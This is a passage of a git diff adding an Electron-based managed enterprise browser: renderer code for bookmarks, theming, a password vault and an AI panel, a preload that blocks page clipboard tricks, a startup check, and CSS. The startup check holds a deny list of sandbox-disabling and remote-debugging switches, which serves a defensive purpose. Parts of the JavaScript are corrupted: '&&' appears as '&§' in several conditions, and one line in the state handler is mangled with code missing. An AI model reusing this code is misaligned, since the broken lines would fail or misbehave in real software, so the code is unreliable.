bookmark').slice(0,120);$('bookmark-url').value=item?.url||safeURL(lastState?.url)||'';$('bookmark-folder').value=item?.folder||''; + $('bookmark-editor-error').textContent='';$('bookmark-editor').showModal();await updateChrome();$('bookmark-title').focus(); +} +async function mutateBookmark(action,bookmark,id){ + const snapshot=lastState;const result=await call('mutateBookmarks',{action,...(bookmark?{bookmark}:{}),...(id?{id}:{}),expectedRevision:snapshot.bookmarks.personal.revision,policyVersion:snapshot.policyVersion});show({...snapshot,...result}); +} +function renderBookmarkLibrary(){ + const target=$('library-bookmarks');target.replaceChildren(); + for(const [managed,label] of [[true,'Company bookmarks (managed)'],[false,'Your bookmarks']]){ + const heading=document.createElement('p');heading.className='bookmark-section-label';heading.textContent=label;target.append(heading); + let folder=null;for(const item of bookmarks.filter(item=>!!item.managed===managed).sort((a,b)=>(a.folder||'').localeCompare(b.folder||''))){ + if(item.folder&&item.folder!==folder){const group=document.createElement('small');group.textContent=item.folder;target.append(group);}folder=item.folder; + const row=document.createElement('div');row.className='bookmark-row';const link=button(item.title,()=>navigateTab(item.url),'bookmark-link');link.title=item.url;row.append(link); + if(!managed&§ionEditable('library')){if(lastState?.bookmarks?.allowUserEdit){const edit=button('Edit',()=>openBookmarkEditor(item),'bookmark-action');edit.setAttribute('aria-label',`Edit ${item.title}`);row.append(edit);}if(lastState?.bookmarks?.allowUserDelete){const remove=button('Remove',()=>mutateBookmark('delete',null,item.id),'bookmark-action');remove.setAttribute('aria-label',`Remove ${item.title}`);row.append(remove);}} + target.append(row); + } + } + const legacy=metadata(preference('bookmarks',[])); + if(legacy.length&§ionVisible('library')){const heading=document.createElement('p');heading.className='bookmark-section-label';heading.textContent='Previous local bookmarks';target.append(heading);const note=document.createElement('small');note.textContent='These existing links remain local. Add them to your bookmarks to sync them when company policy permits.';target.append(note);for(const item of legacy){const link=button(item.title,()=>navigateTab(item.url),'bookmark-link');link.title=item.url;target.append(link);}} +} +$('bookmark-cancel').onclick=()=>$('bookmark-editor').close(); +$('bookmark-editor').addEventListener('close',()=>updateChrome().catch(()=>{})); +$('bookmark-form').onsubmit=async event=>{event.preventDefault();const submit=$('bookmark-save');submit.disabled=true;try{ + requireSection('library',true);await mutateBookmark(bookmarkEditingId?'update':'add',{id:bookmarkEditingId||crypto.randomUUID(),title:$('bookmark-title').value,url:$('bookmark-url').value,folder:$('bookmark-folder').value});$('bookmark-editor').close(); +}catch(e){$('bookmark-editor-error').textContent=e.message;}finally{submit.disabled=false;}}; +function renderLibrary(){ + const key=JSON.stringify({bookmarks,bookmarkPermissions:lastState?.bookmarks,settings:lastState?.settings,readingList,groups,tabs,activeTab});if(key===lastLibraryKey)return;lastLibraryKey=key; + const favorites=sectionVisible('library')?bookmarks.slice(0,12):[];renderLinks('favorites-grid',favorites);renderLinks('library-favorites',favorites);renderBookmarkLibrary();renderLinks('library-reading',readingList); + if($('library-groups')){$('library-groups').replaceChildren();$('library-groups').append(button('All tabs',()=>{groupFilter='';renderTabs();},'group-item'));for(const group of groups)$('library-groups').append(button(group,()=>{groupFilter=group;renderTabs();},'group-item'));} + if($('favorites-empty'))$('favorites-empty').hidden=!!favorites.length; + if($('library-tabs')){$('library-tabs').replaceChildren();for(const tab of tabs)$('library-tabs').append(button(tab.title,()=>selectTab(tab.id),`library-tab${tab.id===activeTab?' active':''}`));} + renderLinks('recent-list',tabs.filter(t=>t.url).slice(-5).map(t=>({url:safeURL(t.url),title:t.title})).filter(t=>t.url)); +} +const systemAppearance=window.matchMedia('(prefers-color-scheme: dark)'); +const systemIsDark=()=>window.matchMedia('(prefers-color-scheme: dark)').matches; +const accentPresets={blue:{base:'#0969da',light:'#0969da',dark:'#75baff'},teal:{base:'#007d76',light:'#00736d',dark:'#6cdbca'},violet:{base:'#7042c1',light:'#7042c1',dark:'#c5a4ff'}}; +function applyAppearance(){ + // Appearance comes exclusively from the privileged process, including unlocked saved choices. + const appearance=lastState?.settings?.appearance||{mode:'system',accent:'blue',tabMode:'separate'},theme=appearance.mode==='system'?'auto':appearance.mode,mode=appearance.tabMode; + const effective=theme==='auto'?(systemIsDark()?'dark':'light'):theme,savedAccent=appearance.accent,accent=typeof savedAccent==='string'&&Object.hasOwn(accentPresets,savedAccent)?savedAccent:'blue'; + document.documentElement.dataset.theme=theme;document.documentElement.dataset.effectiveTheme=effective;document.documentElement.dataset.accent=accent;document.documentElement.dataset.tabMode=mode==='compact'?'compact':'separate'; + document.body.dataset.theme=effective;document.body.dataset.tabMode=document.documentElement.dataset.tabMode;document.documentElement.style.colorScheme=effective; + document.documentElement.style.setProperty('--accent',accentPresets[accent].base);document.documentElement.style.setProperty('--accent-text',accentPresets[accent][effective]); + if($('theme-mode'))$('theme-mode').value=theme;if($('tab-mode'))$('tab-mode').value=document.documentElement.dataset.tabMode;if($('accent-mode'))$('accent-mode').value=accent; + if($('theme-status'))$('theme-status').textContent=theme==='auto'?`System · ${effective==='dark'?'Dark':'Light'}. Changes follow your device.`:`${effective==='dark'?'Dark':'Light'} theme · browser workspace only.`; + updateChrome().catch(()=>{}); +} +systemAppearance.addEventListener('change',()=>{if((!lastState?.settings||lastState.settings.appearance.mode==='system'))applyAppearance();}); +function refreshSystemAppearance(){if((!lastState?.settings||lastState.settings.appearance.mode==='system')&&document.body.dataset.theme!==(systemIsDark()?'dark':'light'))applyAppearance();} +window.addEventListener('focus',refreshSystemAppearance); +document.addEventListener('visibilitychange',()=>{if(!document.hidden)refreshSystemAppearance();}); +// Some Windows compositor/theme transitions update the query without a change event. +setInterval(refreshSystemAppearance,1000); + + +// Hidden controls are removed from keyboard navigation as well as visual presentation. +// Native IPC repeats every check: DOM visibility is never the security boundary. +function sectionVisible(name){const settings=lastState?.settings;return !!settings?.available&&(settings.visible||['library','ai','passwords','documentScan','agents'].includes(name))&&!settings.hiddenSections.includes(name);} +function sectionEditable(name){return sectionVisible(name)&&(name!=='library'||lastState.settings.visible)&&!lastState.settings.lockedSections.includes(name);} +function requireSection(name,edit=false){if(!(edit?sectionEditable(name):sectionVisible(name)))throw Error('This action is managed by your administrator.');} +function applyManagedSettings(){ + const settings=lastState?.settings,visible=!!settings?.available&&settings.visible; + $('tools-toggle').hidden=!visible;$('tools-toggle').disabled=!visible; + if(!visible){$('tools-menu').hidden=true;$('tools-toggle').setAttribute('aria-expanded','false');} + const sections={appearance:['appearance-section'],library:['bookmark','reading-add','sidebar-toggle'],ai:['ai-toggle','sidebar'],passwords:['passwords'],documentScan:['inspect'],agents:['agents']}; + for(const [name,ids] of Object.entries(sections))for(const id of ids){const el=$(id);if(!el)continue;el.hidden=!sectionVisible(name);if(!sectionVisible(name)||(['library','ai','passwords','documentScan','agents'].includes(name)&&!sectionEditable(name)))el.disabled=true;} + for(const id of ['theme-mode','accent-mode','tab-mode'])$(id).disabled=!sectionEditable('appearance'); + for(const id of ['bookmark','reading-add','group-add','group-name'])if($(id))$(id).disabled=!sectionEditable('library')||!lastState?.ready||(id==='bookmark'&&!lastState?.bookmarks?.allowUserAdd); + $('send').disabled=!lastState?.aiEnabled||!sectionEditable('ai');$('prompt').disabled=!sectionEditable('ai'); + for(const [quick,original,name,enabled] of [['quick-ai','ai-toggle','ai',lastState?.aiEnabled],['quick-passwords','passwords','passwords',lastState?.ready&&lastState?.passwordManagerEnabled!==false],['quick-inspect','inspect','documentScan',lastState?.documentScanEnabled],['quick-agents','agents','agents',lastState?.agentsEnabled]]){const el=$(quick);el.hidden=visible||!sectionVisible(name)||!enabled;el.disabled=!sectionEditable(name)||!enabled;el.setAttribute('aria-expanded',$(original).getAttribute('aria-expanded')||'false');} + $('settings-managed').hidden=!sectionVisible('appearance')||sectionEditable('appearance'); + if(!sectionVisible('library')){sidebarOpen=false;$('sidebar-toggle').setAttribute('aria-expanded','false');} + if(!sectionEditable('ai')&&panel)closeAI().catch(()=>{}); + if(!sectionEditable('passwords')&&vaultPanel)closeVault().catch(()=>{}); + applyAppearance(); +} + +async function call(method,...args){const r=await window.safetynet[method](...args);if(!r.ok)throw Error(r.error);return r.data;} +function clearVaultFields(){for(const id of ['vault-master','vault-confirm','vault-password','vault-origin','vault-label','vault-username'])$(id).value='';} +async function closeVault(){vaultRevision++;vaultPanel=false;$('vault').hidden=true;$('passwords').setAttribute('aria-expanded','false');clearVaultFields();$('vault-list').replaceChildren();$('vault-add').open=false;await call('vaultLock');await call('toggleVault',false);} +async function closeAI(){panel=false;$('ai').hidden=true;for(const id of ['sidebar','ai-toggle'])$(id).setAttribute('aria-expanded','false');await call('toggleAI',false);} +async function openAI(){requireSection('ai',true);if(vaultPanel)await closeVault();panel=true;$('ai').hidden=false;for(const id of ['sidebar','ai-toggle'])$(id).setAttribute('aria-expanded','true');await call('toggleAI',true);} +function show(s){ + // A delayed invoke response must not replace a newer tab switch or navigation event. + if(Number.isSafeInteger(s.tabsRevision)&&s.tabsRevision({...item,managed:true})),...(s.bookmarks?.personal?.items||[])];if(!s.ready||!sectionEditable('library')||($('bookmark-editor').open&&!(bookmarkEditingId?s.bookmarks?.allowUserEdit:s.bookmarks?.allowUserAdd)))$('bookmark-editor').close();const brand=s.brand.name==='SafetyNet'?'S Browser':s.brand.name;$('brand').textContent=brand;document.title=brand;$('managed').textContent=s.ready?(s.loginCheckPending?'Login check required':`Managed · policy ${s.policyVersion}`):'Access paused';$('managed').parentElement.classList.toggle('paused',!s.ready); + $('welcome').hidden=s.ready;$('enrollment').hidden=s.enrolled;$('message').textContent=s.message; + if(document.activeElement!==$('address'))$('address').value=startPageOpen?'':s.url||''; + $('managed').title=s.message;$('address-form').querySelector('.address-lock').src=s.url?.startsWith('https:')?'icons/lock-keyhole.svg':'icons/globe.svg'; + $('ai-toggle').disabled=!s.aiEnabled;$('sidebar').disabled=!s.ready;$('send').disabled=!s.aiEnabled; + $('agents').disabled=!s.agentsEnabled;$('inspect').disabled=!s.documentScanEnabled;$('passwords').disabled=!s.ready||s.passwordManagerEnabled===false; + $('inspect').title=s.documentScanEnabled?'Inspect a document locally':'Document analysis is disabled by company policy'; + $('back').disabled=!s.ready||!currentTab().canGoBack;$('forward').disabled=!s.ready||!currentTab().canGoForward;$('reload').disabled=!s.ready||currentTab().startPage;$('address').disabled=!(s.canNavigate??s.ready); + if(vaultPanel&&s.vaultLocked===true&&vaultState?.locked!==true){vaultRevision++;clearVaultFields();$('vault-list').replaceChildren();$('vault-open').hidden=true;vaultState={...vaultState,locked:true};refreshVault().catch(()=>{});} + if(vaultPanel&&s.passwordManagerEnabled===false)closeVault().catch(()=>{}); + if(!s.ready){if(panel)closeAI().catch(()=>{});if(vaultPanel)closeVault().catch(()=>{});clearVaultFields();} + document.documentElement.style.setProperty('--page-tint',/^#[a-f0-9]{6}$/i.test(s.pageColor||'')?s.pageColor:'#b8c7dd'); + if($('start-greeting'))$('start-greeting').textContent='A fresh place to begin'; + if($('sidebar-toggle'))$('sidebar-toggle').disabled=!s.ready; + if($('new-tab'))$('new-tab').disabled=!s.ready;if($('tab-overview'))$('tab-overview').disabled=!s.ready; + applyManagedSettings();updateChrome().catch(()=>{});renderTabs();renderLibrary(); +} +function task(fn){return async event=>{event?.preventDefault();$('error').textContent='';try{await fn();}catch(e){$('error').textContent=e.message;$('managed').textContent=e.message;}};} +function vaultTask(fn){return async event=>{event?.preventDefault();if(vaultBusy)return;vaultBusy=true;$('vault-error').textContent='';try{await fn();}catch{$('vault-error').textContent='The vault action could not be completed. Check your password and company policy.';}finally{vaultBusy=false;$('vault-master').value='';$('vault-confirm').value='';}};} +function input(){return {server:$('server').value,code:$('code').value};} +$('enroll').onclick=task(async()=>{$('enroll').disabled=true;try{show(await call('enroll',input()));$('code').value='';}finally{$('enroll').disabled=false;}}); +$('sso').onclick=task(async()=>{$('sso').disabled=true;try{show(await call('sso',input()));}finally{$('sso').disabled=false;}}); +$('address-form').onsubmit=task(async()=>navigateTab($('address').value)); +for(const method of ['back','forward','reload'])$(method).onclick=task(()=>call(method)); +$('ai-toggle').onclick=$('sidebar').onclick=task(async()=>{if(panel)await closeAI();else await openAI();}); +$('ai-close').onclick=task(closeAI); +$('inspect').onclick=task(async()=>{ + requireSection('documentScan',true);$('inspect').disabled=true;try{const result=await call('inspectFile');if(!result)return;await openAI();entry(`Inspection: ${result.name}\nDecision: ${result.decision}\nDetector: ${result.ruleId||'No match'}\nType: ${result.contentType}\nComplete coverage: ${result.coverage.complete}\n${result.model?`Model: ${result.model}`:''}\nAnalyzed locally. This result does not authorize a website upload.`);}finally{show(await call('state'));} +}); +function entry(text){const empty=$('conversation').querySelector('.empty-chat');empty?.remove();const e=document.createElement('div');e.className='entry';e.textContent=text;$('conversation').append(e);e.scrollIntoView();} +$('agents').onclick=task(async()=>{requireSection('agents',true);const connection=await call('agentConnection');await openAI();entry(`Local agent API\nEndpoint: ${connection.address}\nEncrypted pairing file: ${connection.credentialPath}\nUse the trusted local helper. Every action follows company policy.`);}); +$('ai-form').onsubmit=task(async()=>{const prompt=$('prompt').value;if(!prompt.trim())return;entry(`You: ${prompt}`);$('send').disabled=true;try{const result=await call('ai',prompt);entry(result.answer);$('prompt').value='';}catch(e){entry(e.message);}finally{$('send').disabled=!lastState?.aiEnabled;}}); +async function refreshVault(){ + const revision=++vaultRevision;const status=await call('vaultStatus');if(!vaultPanel||revision!==vaultRevision)return;const previous=vaultState;vaultState=status; + $('vault-access').hidden=!status.enabled||!status.locked&&status.exists;$('vault-open').hidden=!status.enabled||status.locked||!status.exists; + $('vault-access-submit').textContent=status.exists?'Unlock vault':'Create vault';$('vault-master').autocomplete=status.exists?'current-password':'new-password'; + $('vault-confirm').hidden=status.exists;$('vault-confirm-label').hidden=status.exists;$('vault-confirm').required=!status.exists&&status.enabled; + $('master-label').textContent=status.exists?'Master password':'Choose a master password'; + $('vault-description').textContent=!status.enabled?'Password storage is disabled by your administrator.':status.locked||!status.exists?'Your encrypted logins stay on this device. Unlock with your master password.':`Unlocked · locks after ${status.idleLockSeconds} seconds of inactivity.`; + $('vault-add').hidden=!status.allowSaving;$('vault-save-submit').disabled=!status.allowSaving;$('vault-generate').disabled=!status.allowSaving; + if(!status.enabled||status.locked||!status.exists){if(!status.enabled||previous?.locked===false)clearVaultFields();$('vault-list').replaceChildren();return;} + const entries=await call('vaultList');if(!vaultPanel||revision!==vaultRevision)return;$('vault-list').replaceChildren(); + if(!entries.length){const empty=document.createElement('div');empty.className='empty-vault';empty.textContent='No saved logins yet.';$('vault-list').append(empty);} + for(const item of entries){const card=document.createElement('div');card.className='login-card';const label=document.createElement('strong');label.textContent=item.label||item.origin;const origin=document.createElement('p');origin.textContent=item.origin;const username=document.createElement('p');username.textContent=item.username||'No username';const buttons=document.createElement('div');buttons.className='login-buttons';const fill=document.createElement('button');fill.textContent='Fill login';fill.disabled=!status.allowAutofill;fill.onclick=vaultTask(async()=>{await call('vaultFill',item.id);$('vault-error').textContent='Login filled in the current page.';});const remove=document.createElement('button');remove.className='secondary';remove.textContent='Delete';remove.disabled=!status.allowSaving;remove.onclick=vaultTask(async()=>{await call('vaultDelete',item.id);await refreshVault();});buttons.append(fill,remove);card.append(label,origin,username,buttons);$('vault-list').append(card);} +} +$('passwords').onclick=vaultTask(async()=>{requireSection('passwords',true);if(vaultPanel){await closeVault();return;}await closeAI();vaultPanel=true;$('vault').hidden=false;$('passwords').setAttribute('aria-expanded','true');await call('toggleVault',true);await refreshVault();}); +$('vault-close').onclick=vaultTask(closeVault); +$('vault-access').onsubmit=vaultTask(async()=>{const exists=vaultState?.exists,master=$('vault-master').value;if(!exists&&master!==$('vault-confirm').value){$('vault-error').textContent='The master passwords do not match.';return;}await call(exists?'vaultUnlock':'vaultCreate',master);$('vault-master').value='';$('vault-confirm').value='';await refreshVault();}); +$('vault-lock').onclick=vaultTask(async()=>{vaultRevision++;clearVaultFields();$('vault-list').replaceChildren();await call('vaultLock');await refreshVault();}); +$('vault-save').onsubmit=vaultTask(async()=>{await call('vaultSave',{origin:$('vault-origin').value,label:$('vault-label').value,username:$('vault-username').value,password:$('vault-password').value});clearVaultFields();$('vault-add').open=false;await refreshVault();}); +$('vault-generate').onclick=vaultTask(async()=>{const generated=await call('vaultGenerate');$('vault-password').value=typeof generated==='string'?generated:generated.password;}); +$('vault-add').ontoggle=()=>{if($('vault-add').open&&lastState?.url&&!$('vault-origin').value){try{$('vault-origin').value=new URL(lastState.url).origin;}catch{}}else if(!$('vault-add').open)$('vault-password').value='';}; +window.addEventListener('blur',()=>{vaultRevision++;clearVaultFields();$('vault-list').replaceChildren();if(vaultPanel)call('vaultLock').then(refreshVault).catch(()=>{});}); +window.addEventListener('pagehide',()=>{clearVaultFields();if(vaultPanel)call('vaultLock').catch(()=>{});}); +setInterval(()=>{if(vaultPanel&&!vaultBusy)refreshVault().catch(()=>{clearVaultFields();$('vault-list').replaceChildren();});},5000); +function wire(id,handler){if($(id))$(id).onclick=task(handler);} +wire('sidebar-toggle',async()=>{requireSection('library');sidebarOpen=!sidebarOpen;$('sidebar-toggle').setAttribute('aria-expanded',String(sidebarOpen));await updateChrome();}); +wire('new-tab',newTab);wire('tab-overview',async()=>{overviewOpen=!overviewOpen;startPageOpen=!!currentTab().startPage;$('tab-overview').setAttribute('aria-expanded',String(overviewOpen));renderTabs();await updateChrome();}); +wire('overview-close',async()=>{overviewOpen=false;startPageOpen=!!currentTab().startPage;await updateChrome();}); +for(const action of ['minimize','maximize','close'])wire(`window-${action}`,()=>call('windowControls',action)); +wire('share-url',()=>call('shareURL')); +wire('bookmark',async()=>{requireSection('library',true);if(!lastState?.bookmarks?.allowUserAdd)throw Error('Adding bookmarks is disabled by your administrator');await openBookmarkEditor();}); +wire('reading-add',async()=>{requireSection('library',true);await call('authorizeSetting','library');requireSection('library',true);if(!lastState?.ready)throw Error('Open an approved page first');const url=safeURL(lastState.url);if(!url)throw Error('This page cannot be saved');if(!readingList.some(b=>b.url===url)){readingList.push({url,title:String(lastState.pageTitle||new URL(url).hostname).slice(0,160)});readingList=readingList.slice(-100);remember('reading-list',readingList);renderLibrary();}}); +wire('group-add',async()=>{requireSection('library',true);await call('authorizeSetting','library');requireSection('library',true);const field=$('group-name'),label=field?.value.trim();if(!label)throw Error('Enter a tab group name');if(label.length>40)throw Error('Tab group names are limited to 40 characters');if(!groups.includes(label)){if(groups.length>=20)throw Error('At most 20 tab groups are supported');groups.push(label);remember('groups',groups);}show(await call('groupTab',{id:currentTab().id,group:label}));groupFilter=label;field.value='';renderLibrary();renderTabs();}); +for(const [quick,original] of [['quick-ai','ai-toggle'],['quick-passwords','passwords'],['quick-inspect','inspect'],['quick-agents','agents']])wire(quick,()=>$(original).click()); +wire('tools-toggle',async()=>{if(!lastState?.settings?.available||!lastState.settings.visible)throw Error('Settings are managed by your administrator.');const menu=$('tools-menu');if(menu){menu.hidden=!menu.hidden;$('tools-toggle').setAttribute('aria-expanded',String(!menu.hidden));await updateChrome();}}); +for(const id of ['theme-mode','accent-mode','tab-mode'])$(id).onchange=task(async()=>{ + requireSection('appearance',true); + try{const settings=await call('updateSettings',{mode:$('theme-mode').value==='auto'?'system':$('theme-mode').value,accent:$('accent-mode').value,tabMode:$('tab-mode').value});lastState={...lastState,settings};} + finally{applyManagedSettings();} +}); +window.addEventListener('resize',()=>updateChrome().catch(()=>{})); +document.addEventListener('click',event=>{const menu=$('tools-menu');if(!menu||menu.hidden)return;if(event.target.closest('.menu-item')||(!event.target.closest('#tools-menu')&&!event.target.closest('#tools-toggle'))){menu.hidden=true;$('tools-toggle')?.setAttribute('aria-expanded','false');updateChrome().catch(()=>{});}}); +window.addEventListener('keydown',event=>{if(event.ctrlKey&&event.key.toLowerCase()==='t'&&lastState?.ready){event.preventDefault();newTab().catch(()=>{});}if(event.key==='Escape'&&overviewOpen){overviewOpen=false;startPageOpen=!!currentTab().startPage;updateChrome().catch(()=>{});}}); +applyAppearance();renderTabs();renderLibrary(); +window.safetynet.onState(show);call('state').then(show).catch(e=>{$('error').textContent=e.message;}); diff --git a/apps/browser/site-preload.cjs b/apps/browser/site-preload.cjs new file mode 100644 index 0000000..fffd02b --- /dev/null +++ b/apps/browser/site-preload.cjs @@ -0,0 +1,50 @@ +const {ipcRenderer}=require('electron'); +if(process.sandboxed!==true||process.contextIsolated!==true){ipcRenderer.send('managed:clipboard-sandbox-failure');window.stop();throw Error('Managed renderer sandbox and isolation are required');} +// Native shortcuts and guarded menus are the only supported clipboard transfer paths. +// Prevent page handlers/legacy execCommand from replacing approved plaintext with hidden data. +// Freeze the legacy command primitive in the page realm. Document.open() removes +// DOM listeners, but cannot replace this non-configurable prototype property. +try { + require('electron').contextBridge.executeInMainWorld({func:()=>{ + const prototype=Document.prototype,existing=Object.getOwnPropertyDescriptor(prototype,'execCommand'); + if(existing?.value?._managedClipboardGuard===true&&!existing.configurable)return; + const original=prototype.execCommand,apply=Reflect.apply,test=RegExp.prototype.test.bind(/^(copy|cut|paste)/i); + function managedClipboardCommand(command,...args){ + if(typeof command!=='string'||test(command))return false; + return apply(original,this,[command,...args]); + } + Object.defineProperty(managedClipboardCommand,'_managedClipboardGuard',{value:true}); + Object.defineProperty(prototype,'execCommand',{value:managedClipboardCommand,writable:false,configurable:false}); + // Replacement clears security listeners; these unsupported legacy APIs fail closed. + const SecurityException=DOMException; + const denyReplacement=()=>{throw new SecurityException('Managed document replacement is disabled','SecurityError');}; + for(const name of ['open','write','writeln'])Object.defineProperty(prototype,name,{value:denyReplacement,writable:false,configurable:false}); + }}); +} catch { + require('electron').ipcRenderer.send('managed:clipboard-sandbox-failure'); + window.stop(); + throw Error('Managed clipboard primitive could not be protected'); +} +for(const name of ['copy','cut','paste','dragstart','dragover','drop'])window.addEventListener(name,event=>{event.preventDefault();event.stopImmediatePropagation();},true); +window.addEventListener('beforeinput',event=>{if(/^(insertFromPaste|insertFromDrop|deleteByCut)/.test(event.inputType||'')){event.preventDefault();event.stopImmediatePropagation();}},true); +let visualEnabled=ipcRenderer.sendSync('managed:visual-policy').enabled; +const documentToken=typeof crypto.randomUUID==='function'?crypto.randomUUID():Array.from(crypto.getRandomValues(new Uint8Array(16)),value=>value.toString(16).padStart(2,'0')).join('');let visualRevision=0,visualApproved=!visualEnabled,visualScheduled=false; +ipcRenderer.on('managed:visual-config',(_event,input)=>{visualEnabled=input.enabled===true;visualApproved=!visualEnabled;visualRevision++;visualChanged();ipcRenderer.send('managed:visual-configured',input.token);}); +function visualChanged(){ + if(!visualEnabled)return;visualRevision++;visualApproved=false; + if(visualScheduled)return;visualScheduled=true; + setTimeout(async()=>{visualScheduled=false;const revision=visualRevision,url=location.href; + try{const result=await ipcRenderer.invoke('managed:visual-check',{token:documentToken,revision,url});if(revision===visualRevision&&url===location.href)visualApproved=result.decision==='allow';}catch{visualApproved=false;} + if(!visualApproved&&revision===visualRevision)setTimeout(visualChanged,1000); + },150); +} +for(const name of ['keydown','beforeinput','paste','submit','pointerdown'])window.addEventListener(name,event=>{ + if(!visualEnabled||visualApproved)return; + const element=event.target; + if(name==='submit'||element?.closest?.('input,textarea,[contenteditable="true"],button[type="submit"]')){event.preventDefault();event.stopImmediatePropagation();visualChanged();} +},true); +// This isolated-world preload exposes no bridge or automation capability to sites. +let scheduled=false,last=''; +function inspect(){scheduled=false;const text=(document.body?.innerText||'').slice(0,250000);if(text===last)return;last=text;ipcRenderer.send('managed:page-content',{text});} +function schedule(){if(!scheduled){scheduled=true;setTimeout(inspect,350);}} +window.addEventListener('DOMContentLoaded',()=>{schedule();visualChanged();new MutationObserver(()=>{schedule();visualChanged();}).observe(document,{childList:true,subtree:true,characterData:true,attributes:true});}); diff --git a/apps/browser/startup-security.cjs b/apps/browser/startup-security.cjs new file mode 100644 index 0000000..49f71f2 --- /dev/null +++ b/apps/browser/startup-security.cjs @@ -0,0 +1,22 @@ +'use strict'; +// Check only switch names. Arguments, paths, credentials and agent payloads never enter errors. +const BLOCKED_SWITCHES=Object.freeze([ + 'no-sandbox','disable-gpu-sandbox','disable-web-security','allow-running-insecure-content', + 'remote-debugging-port','remote-debugging-pipe','remote-debugging-socket-name', + 'load-extension','disable-extensions-except','disable-site-isolation-trials','disable-site-isolation-for-policy', + 'single-process','in-process-gpu','renderer-cmd-prefix','utility-cmd-prefix','gpu-launcher', + 'inspect','inspect-brk','inspect-wait','inspect-port','debug','debug-brk','debug-port' +]); +const failure=()=>{throw new Error('Unsafe browser startup configuration');}; +function assertSecureStartup(commandLine,nodeExecArgv=process.execArgv){ + try{ + if(!commandLine||typeof commandLine.hasSwitch!=='function'||!Array.isArray(nodeExecArgv))return failure(); + for(const name of BLOCKED_SWITCHES){const present=commandLine.hasSwitch(name);if(typeof present!=='boolean'||present)return failure();} + // Electron/Node can consume inspector flags before they reach Chromium's CommandLine. + for(const argument of nodeExecArgv){if(typeof argument!=='string'||/^--(?:inspect(?:-brk|-wait|-port)?|debug(?:-brk|-port)?)(?:=|$)/.test(argument))return failure();} + // NODE_OPTIONS can activate Node's inspector without appearing in process.execArgv. + if(require('node:inspector').url())return failure(); + return true; + }catch{return failure();} +} +module.exports={assertSecureStartup,BLOCKED_SWITCHES}; diff --git a/apps/browser/style.css b/apps/browser/style.css new file mode 100644 index 0000000..59cc744 --- /dev/null +++ b/apps/browser/style.css @@ -0,0 +1,1684 @@ +/* Shell design tokens and system font fallback. */ +:root { + font-family: -apple-system,BlinkMacSystemFont,"SF Pro Text","Segoe UI Variable","Segoe UI",system-ui,sans-serif; + --chrome-height: 104px; + --sidebar-width: 240px; + --page-tint: #b8c8df; + --accent: #0969da; + --accent-text: #0969da; + --text: #25272c; + --muted: #767b85; + --line: #171b2412; + --surface: #ffffffa8; + --glass: #f0f1f6b8; + --base: #f5f6fa; + --hover: #2428310a; + --panel: #fafbfde8; + --shadow: 0 12px 36px #29314c16; + color: var(--text); + background: transparent; +} + +* { + box-sizing: border-box; +} + +html,body { + margin: 0; + width: 100%; + height: 100%; + overflow: hidden; +} + +body { + background: var(--base); + border-radius: 20px; + box-shadow: 0 20px 80px #101a3440; + --chrome-height: 104px; + color: var(--text); +} + +body[data-tab-mode=compact] { + --chrome-height: 64px; +} + +body.window-maximized { + border-radius: 0; +} + +button,input,textarea,select { + font: inherit; +} + +button { + border: 0; + border-radius: 10px; + background: var(--accent); + color: white; + padding: 10px 15px; + font-size: 12px; + font-weight: 600; + cursor: pointer; + -webkit-app-region: no-drag; +} + +button:disabled { + opacity: .35; + cursor: default; +} + +button:hover:not(:disabled) { + filter: brightness(.98); +} + +img { + width: 18px; + height: 18px; + display: block; + pointer-events: none; +} + +.icon-button { + display: inline-flex; + justify-content: center; + align-items: center; + width: 32px; + height: 32px; + padding: 7px; + background: transparent; + color: var(--muted); + border-radius: 10px; +} + +.icon-button:hover:not(:disabled) { + background: var(--hover); +} + +.icon-button[aria-expanded=true] { + background: color-mix(in srgb,var(--accent) 9%,transparent); +} + +.icon-button img { + opacity: .68; +} + +.secondary { + background: var(--hover); + color: var(--text); +} + + +/* Glass chrome: CSS blur/tint approximation; no refraction of native website pixels. */ +#chrome { + position: relative; + height: var(--chrome-height); + background: color-mix(in srgb,var(--page-tint) 14%,var(--glass)); + backdrop-filter: blur(35px) saturate(1.5); + border-bottom: 1px solid var(--line); + border-radius: 20px 20px 0 0; + z-index: 30; + -webkit-app-region: drag; + padding: 0 12px; + box-shadow: inset 0 1px 0 #ffffffc0; +} + +.toolbar { + height: 64px; + display: grid; + grid-template-columns: 190px minmax(180px,600px) 170px; + justify-content: space-between; + align-items: center; + gap: 18px; +} + +.toolbar-leading,.toolbar-trailing { + display: flex; + align-items: center; + gap: 3px; +} + +.toolbar-trailing { + justify-content: flex-end; + gap: 5px; +} + + +/* Real window controls. The toolbar is draggable; every interactive control is no-drag. */ +.traffic-lights { + display: flex; + gap: 8px; + align-items: center; + padding-right: 10px; + flex-shrink: 0; +} + +.traffic { + width: 12px; + height: 12px; + border-radius: 50%; + padding: 0; + border: 1px solid #00000012; + display: grid; + place-items: center; +} + +.traffic img { + width: 8px; + height: 8px; + opacity: 0; + filter: none!important; +} + +.traffic-lights:hover .traffic img { + opacity: .65; +} + +.traffic.close { + background: #ff605a; +} + +.traffic.minimize { + background: #ffbd2e; +} + +.traffic.maximize { + background: #28c840; +} + +#address-form { + display: flex; + align-items: center; + height: 36px; + padding: 0 5px 0 12px; + border-radius: 12px; + background: var(--surface); + border: 1px solid #ffffffb0; + box-shadow: 0 1px 2px #1e284410,inset 0 0 0 1px #0e20350b; + min-width: 0; + -webkit-app-region: no-drag; + backdrop-filter: blur(16px); +} + +.address-lock { + width: 12px; + height: 12px; + opacity: .5; +} + +#address { + border: 0; + background: transparent; + flex: 1; + min-width: 0; + text-align: center; + font-size: 12px; + color: var(--text); + padding: 8px; + outline: none; +} + +#address::placeholder { + color: var(--muted); +} + +#address:focus { + text-align: left; +} + +#address-form:focus-within { + box-shadow: 0 0 0 3px color-mix(in srgb,var(--accent) 10%,transparent),inset 0 0 0 1px color-mix(in srgb,var(--accent) 33%,transparent); +} + +#address-form .icon-button { + width: 25px; + height: 25px; +} + +#address-form .icon-button img { + width: 13px; + height: 13px; +} + + +/* Separate tabs use 104px chrome; compact tabs stay visible within 64px. */ +.tab-row { + height: 40px; + display: flex; + align-items: center; + gap: 12px; + justify-content: space-between; +} + +#tab-strip { + display: flex; + align-items: center; + gap: 5px; + overflow: auto; + scrollbar-width: none; + flex: 1; + min-width: 0; + -webkit-app-region: no-drag; +} + +.browser-tab { + position: relative; + background: transparent; + color: var(--muted); + font-size: 11px; + font-weight: 400; + height: 29px; + min-width: 120px; + max-width: 240px; + flex: 1; + padding: 6px 12px; + text-align: center; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + border-radius: 11px; +} + 